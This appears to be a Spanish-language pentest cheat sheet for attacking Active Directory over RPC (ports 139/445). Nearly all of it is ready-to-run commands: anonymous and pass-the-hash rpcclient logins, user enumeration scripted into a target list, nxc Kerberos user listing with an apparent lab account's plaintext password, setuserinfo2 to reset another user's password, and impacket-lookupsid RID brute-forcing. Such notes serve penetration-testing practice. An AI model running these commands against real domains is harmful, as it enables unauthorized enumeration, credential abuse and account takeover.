139,593 - RPC
#ActiveDirectory #rpc #pentestinterno
bash
rpcclient -U '' IP -N
enumdomusersbash
rpcclient -U 'USER%PASS' IPbash
rpcclient -U 'USER%HASH' IP --pw-nt-hashbash
rpcclient -U '' IP -c "enumdomusers" -N | tr '[]' ' '| awk '{print $2}' > validUsers.txtbash
rpcclient -U 'USER%PASS' IP -c "enumdomusers" | tr '[]' ' '| awk '{print $2}' > validUsers.txtPor kerberos:
bash
nxc smb DC.DOMAIN -u 'USER' -p 'PASSWORD' -k --usersbash
nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k --users | awk '{print $5}' | grep -vE '\-|\[' > validUsers.txtLista de usuarios con descripción
querydispinfoBASH
setuserinfo2 USER 23 'PASS'bash
impacket-lookupsid anonymous@domain.htb -target-ip IP -no-passbash
impacket-lookupsid anonymous@domain.htb -target-ip IP -no-pass | grep SidTypeUser | tr '\\' ' ' | awk '{print $3}'